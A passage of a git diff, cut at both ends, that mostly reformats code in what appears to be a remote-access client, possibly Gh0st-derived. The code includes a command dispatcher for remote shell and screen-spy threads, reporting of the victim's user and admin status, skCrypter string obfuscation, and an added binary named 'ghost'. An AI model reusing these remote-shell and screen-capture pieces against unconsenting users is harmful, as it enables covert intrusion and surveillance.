*folder = GetInstallDirectory(startupName); if (!folder) { return -1; - } + } char curFile[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, curFile, MAX_PATH); diff --git a/common/IniParser.h b/common/IniParser.h index febb096..ddd848b 100644 --- a/common/IniParser.h +++ b/common/IniParser.h @@ -147,12 +147,29 @@ private: for (size_t i = 0; i < s.size(); i++) { if (s[i] == '\\' && i + 1 < s.size()) { switch (s[i + 1]) { - case 'n': result += '\n'; i++; break; - case 'r': result += '\r'; i++; break; - case 't': result += '\t'; i++; break; - case '\\': result += '\\'; i++; break; - case '"': result += '"'; i++; break; - default: result += s[i]; break; // 未知转义保留原样 + case 'n': + result += '\n'; + i++; + break; + case 'r': + result += '\r'; + i++; + break; + case 't': + result += '\t'; + i++; + break; + case '\\': + result += '\\'; + i++; + break; + case '"': + result += '"'; + i++; + break; + default: + result += s[i]; + break; // 未知转义保留原样 } } else { result += s[i]; diff --git a/common/commands.h b/common/commands.h index 2ddc579..662fc7f 100644 --- a/common/commands.h +++ b/common/commands.h @@ -47,7 +47,10 @@ typedef unsigned char BYTE; typedef BYTE* PBYTE, * LPBYTE; typedef void* LPVOID, * HANDLE; typedef int32_t LONG; -typedef struct { LONG x; LONG y; } POINT; +typedef struct { + LONG x; + LONG y; +} POINT; #define GET_PROCESS(a1, a2) #define MVirtualFree(a1, a2, a3) delete[]a1 @@ -205,7 +208,7 @@ enum { CMD_COMPRESS_FILES = 72, // 压缩文件 CMD_UNCOMPRESS_FILES = 73, // 解压文件 CMD_SCREEN_SIZE = 74, - CMD_FULL_SCREEN = 75, + CMD_FULL_SCREEN = 75, CMD_REMOTE_CURSOR = 76, CMD_SCROLL_INTERVAL = 77, // 滚动检测间隔 @@ -801,10 +804,10 @@ enum LOGIN_RES { RES_EXE_VERSION = 12, // EXE版本 RES_USERNAME = 13, // 电脑用户名称 RES_ISADMIN = 14, // 是否具有管理员权限 - RES_RESOLUTION = 15, // 屏幕分辨率 - RES_CLIENT_ID = 16, // 客户端唯一ID - RES_PID = 17, // 进程ID - RES_FILESIZE = 18, // 文件大小 + RES_RESOLUTION = 15, // 屏幕分辨率 + RES_CLIENT_ID = 16, // 客户端唯一ID + RES_PID = 17, // 进程ID + RES_FILESIZE = 18, // 文件大小 RES_MAX, }; @@ -936,15 +939,15 @@ typedef struct MasterSettings { #define SCROLL_DIR_DOWN 1 // 向下滚动（屏幕内容向上移） typedef struct ScreenSettings { - int MaxFPS; // 偏移 0, 最大帧率 - int CompressThread; // 偏移 4, 压缩线程数 - int ScreenStrategy; // 偏移 8, 屏幕策略 - int ScreenWidth; // 偏移 12, 屏幕宽度 - int ScreenHeight; // 偏移 16, 屏幕高度 - int FullScreen; // 偏移 20, 全屏模式 + int MaxFPS; // 偏移 0, 最大帧率 + int CompressThread; // 偏移 4, 压缩线程数 + int ScreenStrategy; // 偏移 8, 屏幕策略 + int ScreenWidth; // 偏移 12, 屏幕宽度 + int ScreenHeight; // 偏移 16, 屏幕高度 + int FullScreen; // 偏移 20, 全屏模式 int RemoteCursor; // 偏移 24, 使用远程光标 int ScrollDetectInterval; // 偏移 28, 滚动检测间隔（0=禁用, 1=每帧, 2=每2帧, ...） - char Reserved[64]; // 偏移 32, 保留字段（新能力参数从此处扩展） + char Reserved[64]; // 偏移 32, 保留字段（新能力参数从此处扩展） uint32_t Capabilities; // 偏移 96, 能力位标志（放最后） } ScreenSettings; // 总大小 100 字节 diff --git a/common/file_upload.cpp b/common/file_upload.cpp index 1d2d610..58885cb 100644 --- a/common/file_upload.cpp +++ b/common/file_upload.cpp @@ -12,7 +12,8 @@ #pragma comment(lib, "ole32.lib") #pragma comment(lib, "oleaut32.lib") -void ExpandDirectory(const std::string& dir, std::vector& result) { +void ExpandDirectory(const std::string& dir, std::vector& result) +{ std::string searchPath = dir + "\\*"; WIN32_FIND_DATAA fd; HANDLE hFind = FindFirstFileA(searchPath.c_str(), &fd); @@ -34,7 +35,8 @@ void ExpandDirectory(const std::string& dir, std::vector& result) { FindClose(hFind); } -std::vector ExpandDirectories(const std::vector& selected) { +std::vector ExpandDirectories(const std::vector& selected) +{ std::vector result; for (const auto& path : selected) { @@ -102,14 +104,11 @@ static std::vector GetDesktopSelectedFiles(int& result) std::vector vecFiles; HDROP hDrop = (HDROP)GlobalLock(stg.hGlobal); - if (hDrop) - { + if (hDrop) { UINT nFiles = DragQueryFileA(hDrop, 0xFFFFFFFF, NULL, 0); - for (UINT i = 0; i < nFiles; i++) - { + for (UINT i = 0; i < nFiles; i++) { char szPath[MAX_PATH]; - if (DragQueryFileA(hDrop, i, szPath, MAX_PATH)) - { + if (DragQueryFileA(hDrop, i, szPath, MAX_PATH)) { vecFiles.push_back(szPath); } } @@ -123,7 +122,7 @@ static std::vector GetDesktopSelectedFiles(int& result) std::vector GetForegroundSelectedFiles(int& result) { - result = 0; + result = 0; HRESULT hrInit = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); bool bNeedUninit = SUCCEEDED(hrInit); @@ -140,7 +139,7 @@ std::vector GetForegroundSelectedFiles(int& result) return FALSE; } return TRUE; - }, (LPARAM)&hWorkerW); + }, (LPARAM)&hWorkerW); if (hFore == hDesktop || hFore == hWorkerW) { if (bNeedUninit) CoUninitialize(); @@ -163,14 +162,13 @@ std::vector GetForegroundSelectedFiles(int& result) if (bNeedUninit) CoUninitialize(); result = 2; return {}; - } + } std::vector vecFiles; long nCount = 0; pShellWindows->get_Count(&nCount); - for (long i = 0; i < nCount; i++) - { + for (long i = 0; i < nCount; i++) { CComVariant vIndex(i); CComPtr pDisp; if (FAILED(pShellWindows->Item(vIndex, &pDisp)) || !pDisp) @@ -206,19 +204,15 @@ std::vector GetForegroundSelectedFiles(int& result) long nItems = 0; pItems->get_Count(&nItems); - for (long j = 0; j < nItems; j++) - { + for (long j = 0; j < nItems; j++) { CComVariant vj(j); CComPtr pItem; - if (SUCCEEDED(pItems->Item(vj, &pItem)) && pItem) - { + if (SUCCEEDED(pItems->Item(vj, &pItem)) && pItem) { CComBSTR bstrPath; - if (SUCCEEDED(pItem->get_Path(&bstrPath))) - { + if (SUCCEEDED(pItem->get_Path(&bstrPath))) { // BSTR (宽字符) 转 多字节 int nLen = WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, NULL, 0, NULL, NULL); - if (nLen > 0) - { + if (nLen > 0) { std::string strPath(nLen - 1, '\0'); WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, &strPath[0], nLen, NULL, NULL); vecFiles.push_back(strPath); diff --git a/common/file_upload.h b/common/file_upload.h index e07f970..8d56f0c 100644 --- a/common/file_upload.h +++ b/common/file_upload.h @@ -17,8 +17,8 @@ struct FileChunkPacket { typedef void (*LogFunc)(const char* file, int line, const char* format, ...); -int InitFileUpload(const std::string& key, const std::string& msg, const std::string& hmac, - int chunkSizeKb = 64, int sendDurationMs = 50, LogFunc logFunc = NULL); +int InitFileUpload(const std::string& key, const std::string& msg, const std::string& hmac, + int chunkSizeKb = 64, int sendDurationMs = 50, LogFunc logFunc = NULL); int UninitFileUpload(); diff --git a/common/location.h b/common/location.h index 195a1ec..5890523 100644 --- a/common/location.h +++ b/common/location.h @@ -310,8 +310,7 @@ public: } }; -enum IPDatabaseType -{ +enum IPDatabaseType { NoneDB = 0, QQWry = 1, Ip2Region = 2, diff --git a/common/skCrypter.h b/common/skCrypter.h index da7d345..46cf5fa 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -58,7 +58,8 @@ template using clean_type = typename std::remove_const_t>; template -class skCrypter { +class skCrypter +{ public: __forceinline constexpr skCrypter(T* data) { diff --git a/compress/zlib/zconf.h b/compress/zlib/zconf.h index aa3ced6..122ba03 100644 --- a/compress/zlib/zconf.h +++ b/compress/zlib/zconf.h @@ -250,19 +250,19 @@ ZCONF_H #ifdef Z_SOLO # ifdef _WIN64 - typedef unsigned long long z_size_t; +typedef unsigned long long z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif #else # define z_longlong long long # if defined(NO_SIZE_T) - typedef unsigned NO_SIZE_T z_size_t; +typedef unsigned NO_SIZE_T z_size_t; # elif defined(STDC) # include - typedef size_t z_size_t; +typedef size_t z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif # undef z_longlong #endif @@ -298,7 +298,7 @@ ZCONF_H for small objects. */ - /* Type declarations */ +/* Type declarations */ #ifndef OF /* function prototypes */ # ifdef STDC @@ -316,7 +316,7 @@ ZCONF_H */ #ifdef SYS16BIT # if defined(M_I86SM) || defined(M_I86MM) - /* MSC small or medium model */ +/* MSC small or medium model */ # define SMALL_MEDIUM # ifdef _MSC_VER # define FAR _far @@ -325,7 +325,7 @@ ZCONF_H # endif # endif # if (defined(__SMALL__) || defined(__MEDIUM__)) - /* Turbo C small or medium model */ +/* Turbo C small or medium model */ # define SMALL_MEDIUM # ifdef __BORLANDC__ # define FAR _far @@ -336,9 +336,9 @@ ZCONF_H #endif #if defined(WINDOWS) || defined(WIN32) - /* If building or using zlib as a DLL, define ZLIB_DLL. - * This is not mandatory, but it offers a little performance increase. - */ +/* If building or using zlib as a DLL, define ZLIB_DLL. + * This is not mandatory, but it offers a little performance increase. + */ # ifdef ZLIB_DLL # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) # ifdef ZLIB_INTERNAL @@ -348,10 +348,10 @@ ZCONF_H # endif # endif # endif /* ZLIB_DLL */ - /* If building or using zlib with the WINAPI/WINAPIV calling convention, - * define ZLIB_WINAPI. - * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. - */ +/* If building or using zlib with the WINAPI/WINAPIV calling convention, + * define ZLIB_WINAPI. + * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. + */ # ifdef ZLIB_WINAPI # ifdef FAR # undef FAR @@ -360,8 +360,8 @@ ZCONF_H # define WIN32_LEAN_AND_MEAN # endif # include - /* No need for _export, use ZLIB.DEF instead. */ - /* For complete Windows compatibility, use WINAPI, not __stdcall. */ +/* No need for _export, use ZLIB.DEF instead. */ +/* For complete Windows compatibility, use WINAPI, not __stdcall. */ # define ZEXPORT WINAPI # ifdef WIN32 # define ZEXPORTVA WINAPIV @@ -404,10 +404,10 @@ typedef unsigned int uInt; /* 16 bits or more */ typedef unsigned long uLong; /* 32 bits or more */ #ifdef SMALL_MEDIUM - /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ # define Bytef Byte FAR #else - typedef Byte FAR Bytef; +typedef Byte FAR Bytef; #endif typedef char FAR charf; typedef int FAR intf; @@ -415,13 +415,13 @@ typedef uInt FAR uIntf; typedef uLong FAR uLongf; #ifdef STDC - typedef void const *voidpc; - typedef void FAR *voidpf; - typedef void *voidp; +typedef void const *voidpc; +typedef void FAR *voidpf; +typedef void *voidp; #else - typedef Byte const *voidpc; - typedef Byte FAR *voidpf; - typedef Byte *voidp; +typedef Byte const *voidpc; +typedef Byte FAR *voidpf; +typedef Byte *voidp; #endif #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) @@ -436,9 +436,9 @@ typedef uLong FAR uLongf; #endif #ifdef Z_U4 - typedef Z_U4 z_crc_t; +typedef Z_U4 z_crc_t; #else - typedef unsigned long z_crc_t; +typedef unsigned long z_crc_t; #endif #if HAVE_UNISTD_H-0 /* may be set to #if 1 by ./configure */ @@ -531,19 +531,19 @@ typedef uLong FAR uLongf; /* MVS linker does not support external names larger than 8 bytes */ #if defined(__MVS__) - #pragma map(deflateInit_,"DEIN") - #pragma map(deflateInit2_,"DEIN2") - #pragma map(deflateEnd,"DEEND") - #pragma map(deflateBound,"DEBND") - #pragma map(inflateInit_,"ININ") - #pragma map(inflateInit2_,"ININ2") - #pragma map(inflateEnd,"INEND") - #pragma map(inflateSync,"INSY") - #pragma map(inflateSetDictionary,"INSEDI") - #pragma map(compressBound,"CMBND") - #pragma map(inflate_table,"INTABL") - #pragma map(inflate_fast,"INFA") - #pragma map(inflate_copyright,"INCOPY") +#pragma map(deflateInit_,"DEIN") +#pragma map(deflateInit2_,"DEIN2") +#pragma map(deflateEnd,"DEEND") +#pragma map(deflateBound,"DEBND") +#pragma map(inflateInit_,"ININ") +#pragma map(inflateInit2_,"ININ2") +#pragma map(inflateEnd,"INEND") +#pragma map(inflateSync,"INSY") +#pragma map(inflateSetDictionary,"INSEDI") +#pragma map(compressBound,"CMBND") +#pragma map(inflate_table,"INTABL") +#pragma map(inflate_fast,"INFA") +#pragma map(inflate_copyright,"INCOPY") #endif #endif /* ZCONF_H */ diff --git a/compress/zlib/zlib.h b/compress/zlib/zlib.h index f7aded9..b4581dc 100644 --- a/compress/zlib/zlib.h +++ b/compress/zlib/zlib.h @@ -167,7 +167,7 @@ typedef gz_header FAR *gz_headerp; if the decompressor wants to decompress everything in a single step). */ - /* constants */ +/* constants */ #define Z_NO_FLUSH 0 #define Z_PARTIAL_FLUSH 1 @@ -219,7 +219,7 @@ typedef gz_header FAR *gz_headerp; /* for compatibility with versions < 1.0.2 */ - /* basic functions */ +/* basic functions */ ZEXTERN const char * ZEXPORT zlibVersion(void); /* The application can compare zlibVersion and ZLIB_VERSION for consistency. @@ -533,7 +533,7 @@ ZEXTERN int ZEXPORT inflateEnd(z_streamp strm); */ - /* Advanced functions */ +/* Advanced functions */ /* The following functions are needed only in some special applications. @@ -616,8 +616,8 @@ ZEXTERN int ZEXPORT deflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the compression dictionary from the given byte sequence without producing any compressed output. When using the zlib format, this @@ -660,8 +660,8 @@ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT deflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by deflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -905,8 +905,8 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the decompression dictionary from the given uncompressed byte sequence. This function must be called immediately after a call of inflate, @@ -928,8 +928,8 @@ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT inflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by inflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -1250,7 +1250,7 @@ ZEXTERN uLong ZEXPORT zlibCompileFlags(void); #ifndef Z_SOLO - /* utility functions */ +/* utility functions */ /* The following utility functions are implemented on top of the basic @@ -1324,7 +1324,7 @@ ZEXTERN int ZEXPORT uncompress2(Bytef *dest, uLongf *destLen, source bytes consumed. */ - /* gzip file access functions */ +/* gzip file access functions */ /* This library supports reading and writing files in gzip (.gz) format with @@ -1771,7 +1771,7 @@ ZEXTERN void ZEXPORT gzclearerr(gzFile file); #endif /* !Z_SOLO */ - /* checksum functions */ +/* checksum functions */ /* These functions are not related to compression but are exported @@ -1866,7 +1866,7 @@ ZEXTERN uLong ZEXPORT crc32_combine_op(uLong crc1, uLong crc2, uLong op); */ - /* various hacks, don't look :) */ +/* various hacks, don't look :) */ /* deflateInit and inflateInit are macros to allow checking the zlib version * and the compiler's view of z_stream: @@ -1946,13 +1946,13 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ * without large file support, _LFS64_LARGEFILE must also be true */ #ifdef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); - ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); - ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); +ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); #endif #if !defined(ZLIB_INTERNAL) && defined(Z_WANT64) @@ -1974,29 +1974,29 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ # define crc32_combine_gen crc32_combine_gen64 # endif # ifndef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell64(gzFile); - ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); # endif #else - ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell(gzFile); - ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif #else /* Z_SOLO */ - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif /* !Z_SOLO */ @@ -2016,8 +2016,8 @@ ZEXTERN gzFile ZEXPORT gzopen_w(const wchar_t *path, #if defined(STDC) || defined(Z_HAVE_STDARG_H) # ifndef Z_SOLO ZEXTERN int ZEXPORTVA gzvprintf(gzFile file, - const char *format, - va_list va); + const char *format, + va_list va); # endif #endif diff --git a/linux/ScreenHandler.h b/linux/ScreenHandler.h index b6410e9..5c118f5 100644 --- a/linux/ScreenHandler.h +++ b/linux/ScreenHandler.h @@ -216,55 +216,103 @@ static unsigned long VKtoKeySym(unsigned int vk) // 特殊键映射 switch (vk) { - case 0x08: return XK_BackSpace; // VK_BACK - case 0x09: return XK_Tab; // VK_TAB - case 0x0D: return XK_Return; // VK_RETURN - case 0x10: return XK_Shift_L; // VK_SHIFT - case 0x11: return XK_Control_L; // VK_CONTROL - case 0x12: return XK_Alt_L; // VK_MENU (Alt) - case 0x13: return XK_Pause; // VK_PAUSE - case 0x14: return XK_Caps_Lock; // VK_CAPITAL - case 0x1B: return XK_Escape; // VK_ESCAPE - case 0x20: return XK_space; // VK_SPACE - case 0x21: return XK_Page_Up; // VK_PRIOR - case 0x22: return XK_Page_Down; // VK_NEXT - case 0x23: return XK_End; // VK_END - case 0x24: return XK_Home; // VK_HOME - case 0x25: return XK_Left; // VK_LEFT - case 0x26: return XK_Up; // VK_UP - case 0x27: return XK_Right; // VK_RIGHT - case 0x28: return XK_Down; // VK_DOWN - case 0x2C: return XK_Print; // VK_SNAPSHOT - case 0x2D: return XK_Insert; // VK_INSERT - case 0x2E: return XK_Delete; // VK_DELETE - case 0x5B: return XK_Super_L; // VK_LWIN - case 0x5C: return XK_Super_R; // VK_RWIN - case 0x6A: return XK_KP_Multiply; // VK_MULTIPLY - case 0x6B: return XK_KP_Add; // VK_ADD - case 0x6D: return XK_KP_Subtract; // VK_SUBTRACT - case 0x6E: return XK_KP_Decimal; // VK_DECIMAL - case 0x6F: return XK_KP_Divide; // VK_DIVIDE - case 0x90: return XK_Num_Lock; // VK_NUMLOCK - case 0x91: return XK_Scroll_Lock; // VK_SCROLL - case 0xA0: return XK_Shift_L; // VK_LSHIFT - case 0xA1: return XK_Shift_R; // VK_RSHIFT - case 0xA2: return XK_Control_L; // VK_LCONTROL - case 0xA3: return XK_Control_R; // VK_RCONTROL - case 0xA4: return XK_Alt_L; // VK_LMENU - case 0xA5: return XK_Alt_R; // VK_RMENU - // 符号键（美式键盘布局） - case 0xBA: return 0x003b; // VK_OEM_1 (;:) - case 0xBB: return 0x003d; // VK_OEM_PLUS (=+) - case 0xBC: return 0x002c; // VK_OEM_COMMA (,<) - case 0xBD: return 0x002d; // VK_OEM_MINUS (-_) - case 0xBE: return 0x002e; // VK_OEM_PERIOD (.>) - case 0xBF: return 0x002f; // VK_OEM_2 (/?) - case 0xC0: return 0x0060; // VK_OEM_3 (`~) - case 0xDB: return 0x005b; // VK_OEM_4 ([{) - case 0xDC: return 0x005c; // VK_OEM_5 (\|) - case 0xDD: return 0x005d; // VK_OEM_6 (]}) - case 0xDE: return 0x0027; // VK_OEM_7 ('") - default: return 0; // 未知键 + case 0x08: + return XK_BackSpace; // VK_BACK + case 0x09: + return XK_Tab; // VK_TAB + case 0x0D: + return XK_Return; // VK_RETURN + case 0x10: + return XK_Shift_L; // VK_SHIFT + case 0x11: + return XK_Control_L; // VK_CONTROL + case 0x12: + return XK_Alt_L; // VK_MENU (Alt) + case 0x13: + return XK_Pause; // VK_PAUSE + case 0x14: + return XK_Caps_Lock; // VK_CAPITAL + case 0x1B: + return XK_Escape; // VK_ESCAPE + case 0x20: + return XK_space; // VK_SPACE + case 0x21: + return XK_Page_Up; // VK_PRIOR + case 0x22: + return XK_Page_Down; // VK_NEXT + case 0x23: + return XK_End; // VK_END + case 0x24: + return XK_Home; // VK_HOME + case 0x25: + return XK_Left; // VK_LEFT + case 0x26: + return XK_Up; // VK_UP + case 0x27: + return XK_Right; // VK_RIGHT + case 0x28: + return XK_Down; // VK_DOWN + case 0x2C: + return XK_Print; // VK_SNAPSHOT + case 0x2D: + return XK_Insert; // VK_INSERT + case 0x2E: + return XK_Delete; // VK_DELETE + case 0x5B: + return XK_Super_L; // VK_LWIN + case 0x5C: + return XK_Super_R; // VK_RWIN + case 0x6A: + return XK_KP_Multiply; // VK_MULTIPLY + case 0x6B: + return XK_KP_Add; // VK_ADD + case 0x6D: + return XK_KP_Subtract; // VK_SUBTRACT + case 0x6E: + return XK_KP_Decimal; // VK_DECIMAL + case 0x6F: + return XK_KP_Divide; // VK_DIVIDE + case 0x90: + return XK_Num_Lock; // VK_NUMLOCK + case 0x91: + return XK_Scroll_Lock; // VK_SCROLL + case 0xA0: + return XK_Shift_L; // VK_LSHIFT + case 0xA1: + return XK_Shift_R; // VK_RSHIFT + case 0xA2: + return XK_Control_L; // VK_LCONTROL + case 0xA3: + return XK_Control_R; // VK_RCONTROL + case 0xA4: + return XK_Alt_L; // VK_LMENU + case 0xA5: + return XK_Alt_R; // VK_RMENU + // 符号键（美式键盘布局） + case 0xBA: + return 0x003b; // VK_OEM_1 (;:) + case 0xBB: + return 0x003d; // VK_OEM_PLUS (=+) + case 0xBC: + return 0x002c; // VK_OEM_COMMA (,<) + case 0xBD: + return 0x002d; // VK_OEM_MINUS (-_) + case 0xBE: + return 0x002e; // VK_OEM_PERIOD (.>) + case 0xBF: + return 0x002f; // VK_OEM_2 (/?) + case 0xC0: + return 0x0060; // VK_OEM_3 (`~) + case 0xDB: + return 0x005b; // VK_OEM_4 ([{) + case 0xDC: + return 0x005c; // VK_OEM_5 (\|) + case 0xDD: + return 0x005d; // VK_OEM_6 (]}) + case 0xDE: + return 0x0027; // VK_OEM_7 ('") + default: + return 0; // 未知键 } } @@ -505,7 +553,8 @@ public: if (m_display) { if (m_gc && m_x11.pXFreeGC) m_x11.pXFreeGC(m_display, m_gc); if (m_pixmap && m_x11.pXFreePixmap) m_x11.pXFreePixmap(m_display, m_pixmap); - m_pixmap = 0; m_gc = nullptr; + m_pixmap = 0; + m_gc = nullptr; // 强制全屏重绘，恢复 VMware SVGA 等虚拟显卡驱动的显示状态 // XClearArea(display, window, x, y, w, h, exposures) // w=0, h=0 表示整个窗口；exposures=True 触发 Expose 事件强制所有窗口重绘 @@ -837,8 +886,7 @@ private: while (i < totalPixels) { if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) { lastDiff = i; - } - else if (i - lastDiff > gapThreshold) { + } else if (i - lastDiff > gapThreshold) { break; } i++; diff --git a/linux/ghost b/linux/ghost new file mode 100644 index 0000000..410cc2d Binary files /dev/null and b/linux/ghost differ diff --git a/linux/main.cpp b/linux/main.cpp index 3f8d5c0..e06e489 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -67,7 +67,9 @@ public: { auto it = m_data.find(key); if (it != m_data.end()) { - try { return std::stoi(it->second); } catch (...) {} + try { + return std::stoi(it->second); + } catch (...) {} } return def; } @@ -237,7 +239,7 @@ private: typedef Window (*fn_XRootWindow)(Display*, int); typedef Atom (*fn_XInternAtom)(Display*, const char*, int); typedef int (*fn_XGetWindowProperty)(Display*, Window, Atom, long, long, int, - Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); + Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); typedef int (*fn_XFree)(void*); typedef int (*fn_XSetErrorHandler)(int(*)(Display*, void*)); @@ -270,7 +272,10 @@ private: Atom m_atomUtf8String; Atom m_atomWmNameLegacy; - static int silentErrorHandler(Display*, void*) { return 0; } + static int silentErrorHandler(Display*, void*) + { + return 0; + } // 获取用户空闲时间（毫秒），libXss 不可用时返回 0 unsigned long GetIdleTime() @@ -503,8 +508,7 @@ private: Mprintf("%s", buffer); m_client->Send2Server(buffer, bytes_read); } - } - else if (bytes_read == -1) { + } else if (bytes_read == -1) { if (errno == EAGAIN || errno == EWOULDBLOCK) { usleep(10000); } else { @@ -608,24 +612,19 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); g_bExit = S_CLIENT_EXIT; - } - else if (szBuffer[0] == COMMAND_SHELL) { + } else if (szBuffer[0] == COMMAND_SHELL) { std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_SCREEN_SPY) { + } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { std::thread(ScreenworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_SYSTEM) { + } else if (szBuffer[0] == COMMAND_SYSTEM) { std::thread(SystemManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_LIST_DRIVE) { + } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { std::thread(FileManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); - } - else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { + } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); @@ -634,8 +633,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", user, rtt_ms, g_rttEstimator.srtt * 1000); } - } - else if (szBuffer[0] == CMD_MASTERSETTING) { + } else if (szBuffer[0] == CMD_MASTERSETTING) { int settingSize = ulLength - 1; if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval MasterSettings settings = {}; @@ -644,11 +642,9 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) g_heartbeatInterval = settings.ReportInterval; Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } - } - else if (szBuffer[0] == COMMAND_NEXT) { + } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command 